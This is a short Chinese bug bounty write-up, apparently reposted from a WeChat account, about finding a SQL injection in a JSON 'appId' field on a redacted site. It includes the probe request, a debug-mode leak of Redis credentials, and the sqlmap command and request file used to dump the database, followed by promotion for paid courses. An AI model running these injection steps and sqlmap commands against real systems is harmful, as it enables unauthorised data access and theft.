正文
本文从谷歌语法开始:
intitle:”Bug Bounty” intext:”Reward” intext:”$”
发现一个新出来的目标:whitedacted.com
启动Burp Suite,准备开干
发现一个有趣的接口，发送POST请求到/app/store-app-to-db-web
其中包含一些json数据。你可以通过读取路径来猜测接口是做什么的
请求如下:
POST /app/store-app-to-db-web HTTP/2
Host: subdomain.whitedacted.com
Cookies: AuthCookies=BlahBlahBlah...; sessionID=ABCD1234xyz;
Content-Type: application/json
Content-Length: 67
{
"saveLogin":"login",
"source":"publish_builder",
"appId":"1111111"
}
重新请求后，应用程序以纯文本形式使用我的sessionID进行响应。
然后我开始更改Path，cookie和Json Body中的数据。我在每个字段中注入了特殊字符，试图在应用程序中发现所有可能的错误。
同时逐个删除cookie中的字段以检查应用程序的行为。
该漏洞存在于json输入字段中，后端应用程序期望正确的“appID”，否则它会返回“Invalid Session”
我删除了appId的值，并添加了单引号，然后发送请求。像这样
{
"saveLogin":"login",
"source":"publish_builder",
"appId":"'"
}
后端应用程序崩溃并在响应中给出500状态码和语法错误
发现调试模式被启用，这里泄露了许多关于后端数据库的关键信息，包括AWS Redis的主机名、用户名和密码。
使用sqlmap来测试:
sqlmap -r req.txt --batch --random-agent --proxy http://127.0.0.1:8080/ --force-ssl --cookie=""
req.txt里面的内容如下:
POST /app/store-app-to-db-web HTTP/2
Host: subdomain.whitedacted.com
Content-Type: application/json
Content-Length: 62
{
"saveLogin":"login",
"source":"publish_builder",
"appId":"*"
}
如果我们发送带有sql有效负载的cookie，它会像上面提到的那样给出“无效会话”，所以这里需要发送没有cookie头的请求。
发现Sqlmap能够从数据库中转储所有内容。
如果你是一个长期主义者，欢迎加入我的知识星球(优先查看这个链接，里面可能还有优惠券)，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款
往期回顾
福利视频
笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品
https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374
技术交流
技术交流请加笔者微信:richardo1o1 (暗号:growing)
原文始发于微信公众号（迪哥讲事）：一个三位数美刀的Sql注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论